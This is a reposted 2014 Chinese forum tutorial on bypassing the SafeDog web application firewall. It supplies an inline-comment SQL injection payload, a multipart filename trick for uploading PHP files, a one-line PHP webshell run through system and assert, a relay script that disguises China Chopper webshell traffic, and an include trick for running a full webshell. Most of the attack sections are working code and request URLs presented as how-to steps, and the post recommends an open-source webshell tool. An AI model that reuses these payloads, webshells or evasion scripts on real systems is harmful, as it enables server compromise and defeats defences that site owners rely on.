店姐 發表於 2014-7-17 15:52:12

教你如何绕过安全狗(safedog)

<p>一、前言</p>
<p>&nbsp;&nbsp;&nbsp; 安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。</p>
<p>二、测试环境<br />&nbsp;&nbsp;&nbsp; 本次测试环境为</p>
<p>中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72</p>
<p>网站安全狗IIS版3.2.08417</p>
<p>三、SQL注入绕过<br />&nbsp;&nbsp;&nbsp; 我们先写一个存在SQL注入漏洞的php:</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode4"><br />&lt;?<br />$uid = $_REQUEST['id'];<br />if(!$conn = @mysql_connect("localhost", "root", "123456"))<br />die('&lt;font size=+1&gt;An Error Occured&lt;/font&gt;&lt;hr&gt;unable to connect to the database.');<br />if(&lt;a rel="external nofollow" href="mailto:!@mysql_select_db(%22supe%22,$conn"&gt;!@mysql_select_db("supe",$conn&lt;/a&gt;))<br />die("&lt;font size=+1&gt;An Error Occured&lt;/font&gt;&lt;hr&gt;unable to find it at database on your MySQL server.");<br />$text = "select * from supe_members where uid=".$uid;<br />$rs = mysql_query ($text,$conn);<br />while($rom = mysql_fetch_array($rs))<br />{<br />    echo $rom["username"];<br />}<br />?&gt;<br /></div><br />&nbsp;&nbsp;&nbsp; 我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509293.png" /></p>
<p>当安装安全狗之后,注入语句会被拦截:</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509294.png" /></p>
<p>&nbsp;&nbsp;&nbsp; 经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。</p>
<p>用下面语句成功绕过SQL注入过滤:</p>
<p>http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17</p>
<p><img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509295.png" /></p>
<p>有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。</p>
<p>四、文件上传绕过<br />&nbsp;&nbsp;&nbsp; 安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。</p>
<p>&nbsp;&nbsp;&nbsp; 假设有一个上传功能的php:</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode5"><br />&lt;?php<br />if ($_FILES["file"]["error"] &gt; 0)<br />    {<br />echo "Return Code: " . $_FILES["file"]["error"] . "<br />";<br />    }<br />else<br />    {<br />echo "Upload: " . $_FILES["file"]["name"] . "<br />";<br />echo "Type: " . $_FILES["file"]["type"] . "<br />";<br />echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";<br />echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";<br />if (file_exists("upload/" . $_FILES["file"]["name"]))<br />      {<br />echo $_FILES["file"]["name"] . " already exists. ";<br />      }<br />    else<br />      {<br />move_uploaded_file($_FILES["file"]["tmp_name"],<br />      "upload/" . $_FILES["file"]["name"]);<br />echo "Stored in: " . "upload/" . $_FILES["file"]["name"];<br />      }<br />    }<br />?&gt;<br />&lt;html&gt;<br />&lt;body&gt;<br />&lt;form action="upload.php" method="post"<br />enctype="multipart/form-data"&gt;<br />&lt;label for="file"&gt;Filename:&lt;/label&gt;<br />&lt;input type="file" name="file" id="file" /&gt;<br /><br />&lt;input type="submit" name="submit" value="Submit" /&gt;<br />&lt;/form&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /></div><br />然后在安全狗里设置禁止上传.php文件:</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509296.png" /></p>
<p>然后通过浏览器上传php会被拦截:</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509297.png" /></p>
<p>&nbsp;&nbsp;&nbsp; 我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509298.png" /><br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201407/201407171509299.png" /><br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201407/2014071715092910.png" /></p>
<p>&nbsp;&nbsp; 这样的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。</p>
<p>五、一句话webshell绕过<br />&nbsp;&nbsp;&nbsp; 对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。</p>
<p>&nbsp;&nbsp;&nbsp; 首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:</p>
<p>&lt;?php$_REQUEST['a']($_REQUEST['b']);?&gt;<br />然后在浏览器里执行:</p>
<p>http://192.168.200.115/small.php?a=system&amp;b=dir</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/2014071715092911.png" /></p>
<p>成功执行了系统命令,当然也可以执行php代码:</p>
<p>http://192.168.200.115/small.php?a=assert&amp;b=phpinfo();</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/2014071715092912.png" /></p>
<p>六、菜刀绕过<br />&nbsp;&nbsp;&nbsp; 测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。</p>
<p>&nbsp;&nbsp;&nbsp; 首先在本地搭建WEB SERVER,然后写一个php转发程序:</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode6"><br />&lt;?php<br />$target="&lt;a rel="external nofollow" href="http://192.168.200.115/small.php";//"&gt;http://192.168.200.115/small.php";//&lt;/a&gt;这个就是前面那个一句话的地址<br />$poststr='';<br />$i=0;<br />foreach($_POST as $k=&gt;$v)<br />{<br />if(strstr($v, "base64_decode"))<br />{<br />    $v=str_replace("base64_decode(","",$v);<br />    $v=str_replace("))",")",$v);<br />}<br />else<br />{<br />    if($k==="z0")<br />      $v=base64_decode($v);<br />}<br />$pp=$k."=".urlencode($v);<br />//echo($pp);<br />if($i!=0)<br />{<br />    $poststr=$poststr."&amp;".$pp;<br />}<br />else<br />{<br />    $poststr=$pp;<br />}<br />$i=$i+1;<br />}<br />$ch = curl_init();<br />$curl_url = $target."?".$_SERVER['QUERY_STRING'];<br />curl_setopt($ch, CURLOPT_URL, $curl_url);<br />curl_setopt($ch, CURLOPT_POST, 1);<br />curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);<br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />$result = curl_exec($ch);<br />curl_close($ch);<br />echo $result;<br />?&gt;<br /></div></p>
<p>意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/2014071715092913.png" /></p>
<p>这样就可以使用菜刀来连接前面那个一句话马了:</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/2014071715092914.png" /></p>
<p>&nbsp;&nbsp;&nbsp; 这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款更好的类似菜刀的工具Altman:</p>
<p><div class="arc_down"><img src="https://img.jbzj.com/do/uploads/litimg/140717/15492I45262.jpg"><p class="arc_down_title">开源Webshell利用工具——Altman</p><ul><li><span>类型:</span>编程工具</li><li><span>大小:</span>1.1MB</li><li><span>语言:</span>简体中文</li><li><span>时间:</span>2014-07-17</li></ul>查看详情</div><br /><br />&nbsp;&nbsp;&nbsp; 它的最大特点是开源,这意味着像安全狗这种根据特征来拦截的,只要改改源代码把特征字符串改掉,就永远也无法拦截。当然改这个代码要你自己动手喽。</p>
<p>七、webshell大马绕过<br />一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:</p>
<p>&lt;?phpinclude('logo.txt');?&gt;<br />然后再把大马上传为logo.txt,这样就成功绕过安全狗的拦截执行了webshell:</p>
<p>&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201407/2014071715092915.png" /></p>
<p>这样大马也顺利执行了。</p>
<p>八、结束语<br />&nbsp;&nbsp;&nbsp; 上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。</p>
<p>&nbsp;&nbsp;&nbsp; 这里发几句题外的牢骚,很多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研究的价值。普通的防护方法原理很简单,但想要不影响应用又保证安全其实很难,如果没有对漏洞和攻击有深入理解的研究人员,安全产品是没法更上一层楼的。希望各个安全公司不要太功利,对研究人员多一些重视,安全公司真的不能仅仅等同于软件公司啊!</p>
頁: [1]
查看完整版本: 教你如何绕过安全狗(safedog)